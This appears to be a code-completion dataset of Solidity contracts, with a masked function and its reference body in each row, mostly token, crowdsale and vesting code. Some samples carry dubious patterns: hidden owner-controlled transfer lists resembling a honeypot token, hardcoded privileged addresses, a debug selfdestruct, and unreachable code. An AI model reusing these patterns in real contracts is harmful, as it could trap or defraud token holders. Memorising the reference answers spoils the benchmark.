source_idx stringlengths 2 6 | contract_name stringlengths 1 55 | func_name stringlengths 0 65 ⌀ | masked_contract stringlengths 67 7.89k | func_body stringlengths 4 9.41k | func_body_removed_comment stringlengths 4 9.41k | len_input int64 26 2.03k | len_output int64 2 1.96k | total int64 40 2.05k |
|---|---|---|---|---|---|---|---|---|
98056 | DataDump | postData | contract DataDump is Owned {
event DataDumped(address indexed _recipient, string indexed _topic, bytes32 _dataHash);
function DataDump() {}
function postData(address recipient, string topic, bytes32 data) onlyOwner() {<FILL_FUNCTION_BODY>}
} |
DataDumped(recipient, topic, data);
|
DataDumped(recipient, topic, data);
| 84 | 20 | 104 |
4152 | SolidusToken | disablePurchasing | contract SolidusToken {
address owner = msg.sender;
bool public purchasingAllowed = true;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalSupply = 0;
uint256 public total... |
require(msg.sender == owner);
purchasingAllowed = false;
|
require(msg.sender == owner);
purchasingAllowed = false;
| 1,175 | 25 | 1,200 |
31623 | PiggyBank | debugDestruct | contract PiggyBank {
string public name;
string public symbol = '%';
uint8 constant public decimals = 18;
uint256 constant internal denominator = 10 ** uint256(decimals);
uint256 internal targetAmount;
address internal targetAddress;
constructor(
string goalName,
uint256 goalAmount
... |
selfdestruct(targetAddress);
|
selfdestruct(targetAddress);
| 290 | 14 | 304 |
20406 | ALLCASH | ALLCASH | contract ALLCASH is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------... |
symbol = "ACH";
name = "ALLCASH";
decimals = 18;
_totalSupply = 2500000000000000000000000000;
balances[0xc58EA615745E322296aa315c05836165B669cc76] = _totalSupply;
Transfer(address(0), 0xc58EA615745E322296aa315c05836165B669cc76, _totalSupply);
|
symbol = "ACH";
name = "ALLCASH";
decimals = 18;
_totalSupply = 2500000000000000000000000000;
balances[0xc58EA615745E322296aa315c05836165B669cc76] = _totalSupply;
Transfer(address(0), 0xc58EA615745E322296aa315c05836165B669cc76, _totalSupply);
| 1,167 | 176 | 1,343 |
49298 | AMPL | decreaseApproval | contract AMPL is ERC20, ERC223
{
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function AMPL(string _name, string _symbol, uint8 _decimal... |
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
|
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
| 1,120 | 138 | 1,258 |
118288 | BurnableToken | burn | contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {<FILL_FUNCTION_BODY>}
function _burn(address _who, uint256 _value) intern... |
_burn(msg.sender, _value);
|
_burn(msg.sender, _value);
| 254 | 20 | 274 |
30596 | RatingStore | set | contract RatingStore {
struct Score {
bool exists;
int cumulativeScore;
uint totalRatings;
}
bool internal debug;
mapping (address => Score) internal scores;
// The manager with full access
address internal manager;
// The contract that has write accees
... |
if (!scores[target].exists) {
scores[target] = Score(true, 0, 0);
}
scores[target].cumulativeScore = cumulative;
scores[target].totalRatings = total;
|
if (!scores[target].exists) {
scores[target] = Score(true, 0, 0);
}
scores[target].cumulativeScore = cumulative;
scores[target].totalRatings = total;
| 1,143 | 69 | 1,212 |
73103 | OCG | transferFees | contract OCG is MintingERC20 {
OCGFee public fees;
SellableToken public sellableToken;
uint256 public deployedAt;
address public burnAddress;
mapping (address => uint256) public burnAmount;
mapping (address => uint256) public lastCharge;
event TransferFee(address indexed ... |
require(address(fees) != address(0) && address(sellableToken) != address(0));
bool status = false;
if (fees.feeAmount() > 0) {
status = payStorageFee(_from);
if (status) {
status = payStorageFee(_to);
}
}
uint256... |
require(address(fees) != address(0) && address(sellableToken) != address(0));
bool status = false;
if (fees.feeAmount() > 0) {
status = payStorageFee(_from);
if (status) {
status = payStorageFee(_to);
}
}
uint256 feeValue = ... | 1,782 | 243 | 2,025 |
118492 | CryptOLago | restart | contract CryptOLago is Recoverable {
// frequency of this depends on how often splitter gets called;
receive() external payable {}
ITrumpD public token;
EnumerableSet.AddressSet private winners;
EnumerableSet.AddressSet private losers;
uint public _startTime;
uint public qu... |
delete losers;
delete winners;
_startTime = block.timestamp;
|
delete losers;
delete winners;
_startTime = block.timestamp;
| 1,537 | 28 | 1,565 |
57516 | KeyValueStorage | getBool | contract KeyValueStorage {
mapping(address => mapping(bytes32 => uint256)) _uintStorage;
mapping(address => mapping(bytes32 => address)) _addressStorage;
mapping(address => mapping(bytes32 => bool)) _boolStorage;
mapping(address => mapping(bytes32 => bytes32)) _bytes32Storage;
/**** Get Methods *******... |
return _boolStorage[msg.sender][key];
|
return _boolStorage[msg.sender][key];
| 606 | 19 | 625 |
43299 | LinfinityCoin | mint | contract LinfinityCoin is ERC20Token {
uint256 public mintTotal;
address public owner;
event Mint(address _toAddress, uint256 _amount);
constructor(address _owner) public {
require(address(0) != _owner);
name = "LinfinityCoin";
symbol = "LFC";
decimals = 18... |
require(msg.sender == owner);
require(address(0) != _toAddress);
require(_amount >= 0);
require( safeAdd(_amount,mintTotal) <= totalSupply);
mintTotal = safeAdd(_amount, mintTotal);
balances[_toAddress] = safeAdd(balances[_toAddress], _amount);
emit Mi... |
require(msg.sender == owner);
require(address(0) != _toAddress);
require(_amount >= 0);
require( safeAdd(_amount,mintTotal) <= totalSupply);
mintTotal = safeAdd(_amount, mintTotal);
balances[_toAddress] = safeAdd(balances[_toAddress], _amount);
emit Mint(_toAdd... | 241 | 123 | 364 |
37057 | Crowdsale | increaseCap | contract Crowdsale is Pausable {
using SafeMath for uint256;
string public projectName;
string public tokenName;
string public tokenSymbol;
// how many token units a buyer gets per ether
uint256 public rate;
// amount of raised money in wei, decimals is 5
uint256 public et... |
require(_cap_inc > 0);
cap = cap.add(_cap_inc.mul(eth_decimal_num));
IncreaseCap(cap);
|
require(_cap_inc > 0);
cap = cap.add(_cap_inc.mul(eth_decimal_num));
IncreaseCap(cap);
| 1,543 | 47 | 1,590 |
53574 | NavyBase | recover | contract NavyBase {
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {<FILL_FUNCTION_BODY>}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
... |
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v... |
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
address ... | 630 | 451 | 1,081 |
18618 | HowWeGrow | mint | contract HowWeGrow is ERC721, Ownable {
string private _baseTokenURI;
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) ERC721(name, symbol) {
_baseTokenURI = baseTokenURI;
}
function mint() external onlyOwner {<FILL_F... |
for (uint256 x = 1; x < 43; x++) {
_mint(owner(), x);
}
|
for (uint256 x = 1; x < 43; x++) {
_mint(owner(), x);
}
| 229 | 41 | 270 |
76317 | Sale | futureRate | contract Sale {
address public owner;
address public updater;
address public token;
uint256 internal rate;
uint256 internal constant RATE_DELIMITER = 1000;
uint256 internal constant ONE_TOKEN = 1e18; //1 DGTX
uint256 internal oldRate;
uint256 internal rateUpdateDelay = 10 minu... |
return (now < rateBecomesValidAt) ? (rate, rateBecomesValidAt - now) : (rate, 0);
|
return (now < rateBecomesValidAt) ? (rate, rateBecomesValidAt - now) : (rate, 0);
| 1,605 | 36 | 1,641 |
50332 | ERC1155Tradable | mint | contract ERC1155Tradable is ERC1155MintBurn, Ownable {
using SafeMath for uint256;
// Proxy registry address
address public proxyRegistryAddress;
// Contract name
string public name;
// Contract symbol
string public symbol;
mapping(uint256 => uint256) private _supply;
... |
_mint(_to, _id, _quantity, _data);
|
_mint(_to, _id, _quantity, _data);
| 1,921 | 23 | 1,944 |
63788 | ClockAuctionBase | _escrow | contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
... |
nonFungibleContract.transferFrom(_owner, this, _tokenId);
|
nonFungibleContract.transferFrom(_owner, this, _tokenId);
| 1,348 | 25 | 1,373 |
102349 | Timelock | queueTransaction | contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash, address indexed target, uint value, string signature, bytes ... |
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, v... |
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, v... | 1,294 | 138 | 1,432 |
66849 | BitGuildCrowdsale | validPurchase | contract BitGuildCrowdsale {
using SafeMath for uint256;
// Token being sold
BitGuildToken public token;
// Whitelist being used
BitGuildWhitelist public whitelist;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
... |
bool withinPeriod = now >= startTime && now <= endTime;
bool moreThanMinPurchase = msg.value >= minContribution;
bool lessThanMaxPurchase = contributions[msg.sender] + msg.value <= maxContribution;
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinPeriod && moreThanMinPurchase &... |
bool withinPeriod = now >= startTime && now <= endTime;
bool moreThanMinPurchase = msg.value >= minContribution;
bool lessThanMaxPurchase = contributions[msg.sender] + msg.value <= maxContribution;
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinPeriod && moreThanMinPurchase && less... | 1,464 | 122 | 1,586 |
60776 | ICO | _getLinkRate | contract ICO is Context, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The GAUF contract
ERC20 private _gauf;
// The link contract
ERC20 private _link;
// Address where funds are collected
address payable private _wallet;
// How many GAU... |
return linkAmount.mul(_linkRate);
|
return linkAmount.mul(_linkRate);
| 1,874 | 17 | 1,891 |
40479 | BoltsHolder | withdraw | contract BoltsHolder is IERC721Receiver, Ownable {
using EnumerableSet for EnumerableSet.UintSet;
address public BOLTS;
address public ERC721_CONTRACT;
uint256 public EXPIRATION;
uint256 private RATE;
mapping(address => EnumerableSet.UintSet) private _deposits;
mapping(addr... |
claimRewards(tokenIds);
for (uint256 i; i < tokenIds.length; i++) {
require(
_deposits[msg.sender].contains(tokenIds[i]),
'ERC721Farm: token not deposited'
);
_deposits[msg.sender].remove(tokenIds[i]);
IERC721... |
claimRewards(tokenIds);
for (uint256 i; i < tokenIds.length; i++) {
require(
_deposits[msg.sender].contains(tokenIds[i]),
'ERC721Farm: token not deposited'
);
_deposits[msg.sender].remove(tokenIds[i]);
IERC721(ERC721_CON... | 1,117 | 169 | 1,286 |
10120 | Vesting | freezeTokensToInvestor | contract Vesting {
using SafeMath for uint256;
ERC20 public mycroToken;
event LogFreezedTokensToInvestor(address _investorAddress, uint256 _tokenAmount, uint256 _daysToFreeze);
event LogUpdatedTokensToInvestor(address _investorAddress, uint256 _tokenAmount);
event LogWithdraw(address _investorAdd... |
require(_investorAddress != address(0));
require(_tokenAmount != 0);
require(!investors[_investorAddress].isInvestor);
_daysToFreeze = _daysToFreeze.mul(1 days); // converts days into seconds
investors[_investorAddress] = Investor({tokenAmount: _tokenAmount, frozenPeri... |
require(_investorAddress != address(0));
require(_tokenAmount != 0);
require(!investors[_investorAddress].isInvestor);
_daysToFreeze = _daysToFreeze.mul(1 days);
investors[_investorAddress] = Investor({tokenAmount: _tokenAmount, frozenPeriod: now.add(_daysToFreeze), i... | 620 | 172 | 792 |
5464 | Upgradable | isDeprecated | contract Upgradable is Ownable {
address public newAddress;
uint public deprecatedSince;
string public version;
string public newVersion;
string public reason;
event LogSetDeprecated(address newAddress, string newVersion, string reason);
/**
*
*/
function U... |
return (deprecatedSince != 0);
|
return (deprecatedSince != 0);
| 336 | 15 | 351 |
97105 | ERC20 | _transfer | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Adidas;
mapping (address => bool) private Nike;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string pri... |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
... |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(Puma... | 1,529 | 283 | 1,812 |
66731 | Agreement | extendExpiration | contract Agreement is Escrow {
bool public locked;
uint public createdOn;
uint public expiration;
uint public startTime;
address public brand;
address public creator;
constructor(address _creator, uint _expiration, address _token) public {
brand = msg.sender;
... |
require(_expiration > expiration && _expiration >= block.timestamp);
expiration = _expiration;
return true;
|
require(_expiration > expiration && _expiration >= block.timestamp);
expiration = _expiration;
return true;
| 820 | 39 | 859 |
80148 | SNcoin_CountrySale | setVaultAddress | contract SNcoin_CountrySale is Owned {
MinimalTokenInterface public tokenContract;
address public spenderAddress;
address public vaultAddress;
address public ambassadorAddress;
bool public fundingEnabled;
uint public totalCollected; // In wei
uint public tokenPrice; // ... |
require (_vaultAddress != 0);
vaultAddress = _vaultAddress;
return;
|
require (_vaultAddress != 0);
vaultAddress = _vaultAddress;
return;
| 950 | 32 | 982 |
47541 | Ownable | null | contract Ownable {
/// @notice Storage position of the owner address
/// @dev The address of the current owner is stored in a
/// constant pseudorandom slot of the contract storage
/// (slot number obtained as a result of hashing a certain message),
/// the probability of rewriting which is almost z... |
bytes32 ownerPosition = _ownerPosition;
address owner = msg.sender;
assembly {
sstore(ownerPosition, owner)
}
|
bytes32 ownerPosition = _ownerPosition;
address owner = msg.sender;
assembly {
sstore(ownerPosition, owner)
}
| 682 | 42 | 724 |
22157 | ERC20 | _burn | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
... |
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
value,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
... |
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
value,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
| 1,149 | 102 | 1,251 |
59027 | Crowdsale | owedTokens | contract Crowdsale is Declaration, Ownable{
using SafeMath for uint256;
address public wallet;
uint256 public weiLimit = 6 ether;
uint256 public satLimit = 30000000;
mapping(address => bool) users;
mapping(address => uint256) weiOwed;
mapping(address => uint256) satOwed... |
return weiTokensOwed[_addr] + satTokensOwed[_addr];
|
return weiTokensOwed[_addr] + satTokensOwed[_addr];
| 1,991 | 28 | 2,019 |
76464 | FWCToken | null | contract FWCToken is ERC20, ERC20Detailed, ERC20Burnable, ERC20Mintable {
constructor () public ERC20Detailed("Future World Coin", "FWC", 18) {<FILL_FUNCTION_BODY>}
} |
_mint(msg.sender, 5000000000 * (10 ** uint256(decimals())));
|
_mint(msg.sender, 5000000000 * (10 ** uint256(decimals())));
| 79 | 42 | 121 |
97521 | ERC20 | transfer | contract ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public nonces;
bytes32 p... |
_transfer(
msg.sender,
_recipient,
_amount
);
return true;
|
_transfer(
msg.sender,
_recipient,
_amount
);
return true;
| 1,503 | 36 | 1,539 |
18702 | ERC20Token | transferFrom | contract ERC20Token {
using Math for uint256;
event Burn(address indexed burner, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 totalSupply_;
mappin... |
require(to != address(0));
require(value <= balances_[from]);
require(value <= allowed_[from][msg.sender]);
balances_[from] = balances_[from].sub(value);
balances_[to] = balances_[to].add(value);
allowed_[from][msg.sender] = allowed_[from][msg.sender].sub(value);... |
require(to != address(0));
require(value <= balances_[from]);
require(value <= allowed_[from][msg.sender]);
balances_[from] = balances_[from].sub(value);
balances_[to] = balances_[to].add(value);
allowed_[from][msg.sender] = allowed_[from][msg.sender].sub(value);
... | 568 | 134 | 702 |
104570 | StatefulReturnableCrowdsale | failCrowdsale | contract StatefulReturnableCrowdsale is
SimpleCrowdsaleBase,
SimpleStateful,
multiowned,
MetropolFundsRegistryWalletConnector
{
/** Last recorded funds */
uint256 public m_lastFundsAmount;
event Withdraw(address payee, uint amount);
/**
* Automatic check for unaccounted withdrawals
... |
wcOnCrowdsaleFailure();
m_finished = true;
|
wcOnCrowdsaleFailure();
m_finished = true;
| 1,177 | 25 | 1,202 |
104336 | HOSTOKEN | HOSTOKEN | contract HOSTOKEN is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'HTT 1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address publ... |
balances[msg.sender] = 9200000000000000000000000 ;
totalSupply = 9200000000000000000000000 ;
name = "HOST TOKEN";
decimals = 18;
symbol = "HTT";
unitsOneEth... |
balances[msg.sender] = 9200000000000000000000000 ;
totalSupply = 9200000000000000000000000 ;
name = "HOST TOKEN";
decimals = 18;
symbol = "HTT";
unitsOneEthCanBuy... | 427 | 141 | 568 |
33139 | ManualTrade | swapExactTokensForETH | contract ManualTrade is Ownable {
using SafeMath for uint256;
event NewManualTrade(
address indexed tokenIn,
address indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
uint256 private feeQuota;
uint256 private feeQuotaDecimals;
address payable private feeStorage;
IUni... |
address tokenIn = path[0];
// step 0: transfer tokenIn from user to contract's balance
require(
ERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn),
"low allowance for contract"
);
// step 1: approve uniswap router
require(IERC20(tokenIn).approve(address(uni... |
address tokenIn = path[0];
require(
ERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn),
"low allowance for contract"
);
require(IERC20(tokenIn).approve(address(uniswap), amountIn));
uniswap.swapExactTokensForETH(
amountIn,
amountOutMin,
p... | 1,590 | 389 | 1,979 |
50154 | SuccinctWhitelist | removeAddressFromWhitelist | contract SuccinctWhitelist is Ownable {
mapping(address => bool) public whitelisted;
event WhitelistAdded(address indexed operator);
event WhitelistRemoved(address indexed operator);
/**
* @dev Throws if operator is not whitelisted.
* @param _operator address
*/
modifier onlyIfWhitelisted(... |
whitelisted[_operator] = false;
emit WhitelistRemoved(_operator);
return true;
|
whitelisted[_operator] = false;
emit WhitelistRemoved(_operator);
return true;
| 794 | 35 | 829 |
115749 | GoldConnect | distr | contract GoldConnect is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "GoldConnect";
strin... |
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSuppl... |
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
... | 1,655 | 117 | 1,772 |
22798 | LicenseAccessControl | unpause | contract LicenseAccessControl {
/**
* @notice ContractUpgrade is the event that will be emitted if we set a new contract address
*/
event ContractUpgrade(address newContract);
event Paused();
event Unpaused();
/**
* @notice CEO's address FOOBAR
*/
address public ceoAddress;
/**
... |
paused = false;
Unpaused();
|
paused = false;
Unpaused();
| 1,379 | 18 | 1,397 |
83112 | MultiSigPermission | executeTransaction | contract MultiSigPermission is Context {
uint constant public MAX_OWNER_COUNT = 3;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint ... |
if (isConfirmed(transactionId)) {
transactions[transactionId].executed = true;
(bool success,) = transactions[transactionId].destination.call{value : transactions[transactionId].value}(transactions[transactionId].data);
if (success)
Execution(transaction... |
if (isConfirmed(transactionId)) {
transactions[transactionId].executed = true;
(bool success,) = transactions[transactionId].destination.call{value : transactions[transactionId].value}(transactions[transactionId].data);
if (success)
Execution(transactionId);
... | 1,450 | 117 | 1,567 |
66953 | FOIN | null | contract FOIN {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => ui... |
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
... |
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
| 1,484 | 96 | 1,580 |
35286 | BurnableToken | burn | contract BurnableToken is StandardToken {
address public constant BURN_ADDRESS = 0;
/** How many tokens we burned */
event Burned(address burner, uint burnedAmount);
/**
* Burn extra tokens from a balance.
*
*/
function burn(uint burnAmount) public {<FILL_FUNCTION_BODY>}
} |
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
emit Burned(burner, burnAmount);
|
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
emit Burned(burner, burnAmount);
| 104 | 68 | 172 |
86607 | MBAS | null | contract MBAS is StandardToken, Terminable {
using SafeERC20 for ERC20;
using SafeMath for uint256;
string public name = "MBAS";
string public symbol = "MBAS";
uint8 public decimals = 18;
constructor(uint256 _totalSupply) public {<FILL_FUNCTION_BODY>}
function transfer(address _to, uint256 _value)... |
totalSupply_ = _totalSupply * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
|
totalSupply_ = _totalSupply * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
| 420 | 48 | 468 |
110964 | Token | invest | contract Token is ERC20Interface {
string public name = "DEVILSDRAGON";
string public symbol = "DDGN";
uint public decimals = 18;
uint tokenPrice = 0.001 ether;
uint public supply;
address public founder;
address public team;
address public reserved;
address public ecosys... |
uint tokens = msg.value / tokenPrice * (10 ** decimals);
require(balances[founder] >= tokens && tokens > 0, 'No tokens left');
balances[investor] += tokens;
balances[founder] -= tokens;
deposit.transfer(msg.value);
//emit event
emit Invest(investor, ... |
uint tokens = msg.value / tokenPrice * (10 ** decimals);
require(balances[founder] >= tokens && tokens > 0, 'No tokens left');
balances[investor] += tokens;
balances[founder] -= tokens;
deposit.transfer(msg.value);
emit Invest(investor, msg.value, tokens);
... | 1,031 | 120 | 1,151 |
83236 | WEACrowdsale | WEACrowdsale | contract WEACrowdsale {
Token public token;
address creator;
address owner = 0x0;
uint256 public startDate;
uint256 public endDate;
uint256 public price;
bool active = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function WEAC... |
creator = msg.sender;
startDate = 1515970800; // 15/01/2018
endDate = 1518735600; // 15/02/2018
price = 30;
token = Token(0x1dD0497C6a7E90d4e88cBB0aDF9c8326B83097D9);
active = true;
|
creator = msg.sender;
startDate = 1515970800;
endDate = 1518735600;
price = 30;
token = Token(0x1dD0497C6a7E90d4e88cBB0aDF9c8326B83097D9);
active = true;
| 663 | 139 | 802 |
3852 | Registry | getFactory | contract Registry is Ownable {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address indexed instance, ad... |
Factory memory factoryData = _factoryData[factory];
return (factoryData.status, factoryData.factoryID, factoryData.extraData);
|
Factory memory factoryData = _factoryData[factory];
return (factoryData.status, factoryData.factoryID, factoryData.extraData);
| 1,730 | 37 | 1,767 |
55381 | BitFluxADContract | BulkTransfer | contract BitFluxADContract {
// The token being sold
ERC20Interface public token;
// address where funds are collected
// address where tokens are deposited and from where we send tokens to buyers
address public wallet;
/**
* event for token purchase logging
* @param purchaser who... |
require(msg.sender==wallet);
for(uint i = 0; i<tokenHolders.length; i++)
{
token.transferFrom(wallet,tokenHolders[i],amount);
}
|
require(msg.sender==wallet);
for(uint i = 0; i<tokenHolders.length; i++)
{
token.transferFrom(wallet,tokenHolders[i],amount);
}
| 345 | 68 | 413 |
93705 | Permissions | null | contract Permissions is Context
{
address private _creator;
address private _trader;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{<FILL_FUNCTION_BODY>}
function creator() public view returns (address)
{ return _creator; }
... |
_creator = 0x3034c13adA81E8D10A249F3DdfcD74A03688e468;
_trader = 0x8598Aa522A499B99506628226885bA26F2E01f5F;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_trader] = true;
_permitted[_uniswap] = true;
... |
_creator = 0x3034c13adA81E8D10A249F3DdfcD74A03688e468;
_trader = 0x8598Aa522A499B99506628226885bA26F2E01f5F;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_trader] = true;
_permitted[_uniswap] = true;
| 322 | 202 | 524 |
108072 | TokensStorage | claimedOf | contract TokensStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private _rewardPool;
uint256 private _rewardSupply;
uint256 private _totalSupply;
IERC20 private _rewardsToken;
IERC20 private _stakingToken;
mapping(address => uint256) private _balances;
mappi... |
return _claimed[account];
|
return _claimed[account];
| 1,062 | 11 | 1,073 |
114168 | Pausable | pause | contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {<FILL_FUNCTION_BODY>}
function unpause() onlyOwner whenPaused ... |
paused = true;
Pause();
|
paused = true;
Pause();
| 175 | 15 | 190 |
80655 | VASPContract | _setSigningKey | contract VASPContract is OwnerRole {
bytes4 private _channels;
bytes private _transportKey;
bytes private _messageKey;
bytes private _signingKey;
bytes4 private _vaspCode;
event ChannelsChanged(bytes4 indexed vaspCode, bytes4 previousChannels, bytes4 newChannels);
event TransportKeyC... |
if(_areNotEqual(_signingKey, newSigningKey)) {
emit SigningKeyChanged(_vaspCode, _signingKey, newSigningKey);
_signingKey = newSigningKey;
}
|
if(_areNotEqual(_signingKey, newSigningKey)) {
emit SigningKeyChanged(_vaspCode, _signingKey, newSigningKey);
_signingKey = newSigningKey;
}
| 1,380 | 63 | 1,443 |
6236 | DeveryVesting | DeveryVesting | contract DeveryVesting {
using SafeMath for uint;
DeveryCrowdsale public crowdsale;
uint public totalProportion;
uint public totalTokens;
uint public startDate;
struct Entry {
uint proportion;
uint periods;
uint periodLength;
uint withdrawn;
}
... |
crowdsale = DeveryCrowdsale(_crowdsale);
|
crowdsale = DeveryCrowdsale(_crowdsale);
| 1,144 | 23 | 1,167 |
35688 | StorageEnabled | _setBurnPool | contract StorageEnabled {
// satelite contract addresses
address public storageAddr;
function StorageEnabled(address _storageAddr) {
storageAddr = _storageAddr;
}
// ############################################
// ########### NUTZ FUNCTIONS ################
// #########################... |
Storage(storageAddr).setUInt('Nutz', 'burnPool', _newBurnPool);
|
Storage(storageAddr).setUInt('Nutz', 'burnPool', _newBurnPool);
| 1,050 | 30 | 1,080 |
95887 | IFIN | IFIN | contract IFIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ---------------------------------------------... |
symbol = "IFIN";
name = "IFIN LIVE";
decimals = 18;
_totalSupply = 256000000000000000000000000;
balances[0xD133cc957d41C0cd62ed6175155B2E54F951eA79] = _totalSupply;
Transfer(address(0), 0xD133cc957d41C0cd62ed6175155B2E54F951eA79, _totalSupply);
|
symbol = "IFIN";
name = "IFIN LIVE";
decimals = 18;
_totalSupply = 256000000000000000000000000;
balances[0xD133cc957d41C0cd62ed6175155B2E54F951eA79] = _totalSupply;
Transfer(address(0), 0xD133cc957d41C0cd62ed6175155B2E54F951eA79, _totalSupply);
| 1,163 | 177 | 1,340 |
